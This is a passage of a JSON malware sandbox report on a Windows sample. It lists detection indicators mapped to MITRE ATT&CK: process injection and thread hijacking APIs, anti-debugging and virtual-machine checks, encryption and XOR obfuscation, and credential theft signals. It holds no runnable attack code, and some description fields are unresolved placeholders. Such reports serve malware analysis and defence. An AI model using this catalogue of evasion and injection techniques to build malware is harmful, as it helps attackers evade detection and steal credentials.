\"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SHA512\" (Indicator: \"SHA512\"; Source: \"sample.bin\"), Found reference to \"Cryptography_UnknownHashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"sample.bin\"), Found reference to \"Cryptography_RC2_EKS40\" (Indicator: \"RC2\"; Source: \"sample.bin\"), Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"sample.bin\"), Found reference to \"Cryptography_InvalidCurveOid\" (Indicator: \"Oid\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://purl.org/dc/elements/1.1/\", Pattern match: \"http://www.w3.org/2001/xmlschema#integer\", Pattern match: \"http://www.w3.org/2001/xmlschema#boolean\", Pattern match: \"http://www.w3.org/2001/xmlschema#integer64\", Pattern match: \"http://www.w3.org/2001/xmlschema#double\", Heuristic match: \"automating_the_cleaning_actionsapp.my\", Pattern match: \"http://www.aiim.org/pdfa/ns/id/\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.4.6\", \"2.5.4.5\", \"2.5.4.4\", \"2.5.4.3\", \"2.5.4.8\", \"2.5.4.7\", \"2.5.4.10\", \"2.5.4.11\", \"2.5.4.12\", \"2.5.4.43\", \"2.5.4.44\", \"2.5.4.42\", \"2.5.4.45\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Able to download remote files using web shell script","description":"Found string \"HttpWebRequestArrayList\" (Indicator: \"HttpWebRequest\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-798","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"Invalid password.\" (Indicator: \"password\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"password\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \"ServicePointHashtable\" (Indicator: \"nthash\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1003.002","id":"string-867","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"AESV3\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"AESV2\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"IDX14101: Unable to decode the payload '{0}' as Base64Url encoded string. jwtEncodedString: '{1}'.\" (Indicator: \"base64\"; Source: \"sample.bin\"), Found string \"IDX14102: Unable to decode the header '{0}' as Base64Url encoded string. jwtEncodedString: '{1}'.\" (Indicator: \"base64\"; Source: \"sample.bin\"), Found string \"IDX14107: Token string does not match the token formats: JWE (header.encryptedKey.iv.ciphertext.tag) or JWS (header.payload.signature)\" (Indicator: \".encrypt\"; Source: \"sample.bin\"), Found string \"Base64\" (Indicator: \"base64\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"May contain SSL certificate","description":"\"-----BEGIN CERTIFICATE-----\" (Indicator: \"----begin certificate----\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1588.004","id":"string-574","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"RtlMoveMemory\" (Indicator: \"RtlMoveMemory\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"Wow64GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"Wow64SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetCreationTime\" (Indicator: \"SetCreationTime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"SetLastWriteTime\" (Indicator: \"SetLastWriteTime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005956.00000001.81246.00740000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - .*\\.\\.\\.\\s+\\.\\.\\..*; Source: \"00000000-00005956.00000000.80976.030E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00000348]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$29","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor byte ptr [ebx]\n al in Stream UID: 57947-1-008C22EE\n Assembly shows XOR instruction xor byte ptr [eax+eax]\n al in Stream UID: 57947-1-008C22EE\n Assembly shows XOR instruction xor eax\n 37003600h in Stream UID: 00000000-00004108-62527-355-0040634E\n Assembly shows XOR instruction xor dword ptr [eax]\n eax in Stream UID: 00000000-00004108-62527-355-0040634E\n Assembly shows XOR instruction xor al\n 42h in Stream UID: 00000000-00004108-62527-355-0040634E\n Assembly shows XOR instruction xor al\n byte ptr [ebx] in Stream UID: 00000000-00004108-62527-355-0040634E\n Assembly shows XOR instruction xor byte ptr [eax]\n al in Stream UID: 00000000-00004108-62527-355-0040634E\n Assembly shows XOR instruction xor al\n byte ptr [eax] in Stream UID: 00000000-00004108-62527-355-0040634E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES encryption using crypto++ library","description":"Found string \".?AURijndael_Info@CryptoPP@@\" (Indicator: \"AURijndael_Info@CryptoPP@@\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614DE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":1,"id":"string-593","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContext\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform RSA encryption using crypto++ library","description":"Found string \".?AVRSAFunction@CryptoPP@@\" (Indicator: \".?AVRSAFunction@CryptoPP@@\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614DE000.00000004.mdmp\")\n Found string \".?AVInvertibleRSAFunction@CryptoPP@@\" (Indicator: \".?AVInvertibleRSAFunction@CryptoPP@@\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614DE000.00000004.mdmp\")\n Found string \".?AVRSAPrimeSelector@CryptoPP@@\" (Indicator: \".?AVRSAPrimeSelector@CryptoPP@@\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614DE000.00000004.mdmp\")\n Found string \".PEAVRSAFunction@CryptoPP@@\" (Indicator: \".PEAVRSAFunction@CryptoPP@@\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found string \".PEAVInvertibleRSAFunction@CryptoPP@@\" (Indicator: \".PEAVInvertibleRSAFunction@CryptoPP@@\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":3,"id":"string-583","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"RSACryptoServiceProvider\" (Indicator: \"RSACryptoServiceProvider\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContextA\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005956.00000000.80976.00320000.00000004.mdmp, 00000000-00005956.00000001.81246.00320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.00216","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2a","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2b","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004108-00000C2C-281955570\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004108-00000C2C-281955570\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to manipulate a file/directory time format","description":"Found string \"GetLastWriteTime\" (Indicator: \"getlastwritetime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"SetCreationTime\" (Indicator: \"setcreationtime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"SetLastWriteTime\" (Indicator: \"setlastwritetime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-778","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessages\" (Indicator: \"sendmessage\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"SendMessage\" (Indicator: \"sendmessage\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"b__0\" (Indicator: \"sendmessage\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"b__1\" (Indicator: \"sendmessage\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"BeforeSendMessage\" (Indicator: \"sendmessage\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"SendMessageAsync\" (Indicator: \"sendmessage\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"SendMessage\" (Indicator: \"sendmessage\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005956)\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005956)\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"IsWow64Process\" with parameter \"5956\" - (UID: 00000000-00005956)\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"IsWow64Process\" with parameter \"4108\" - (UID: 00000000-00005956)\n \"RegAsm.exe\" called \"IsWow64Process\" with parameter \"4108\" - (UID: 00000000-00004108)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2e","origin":"API 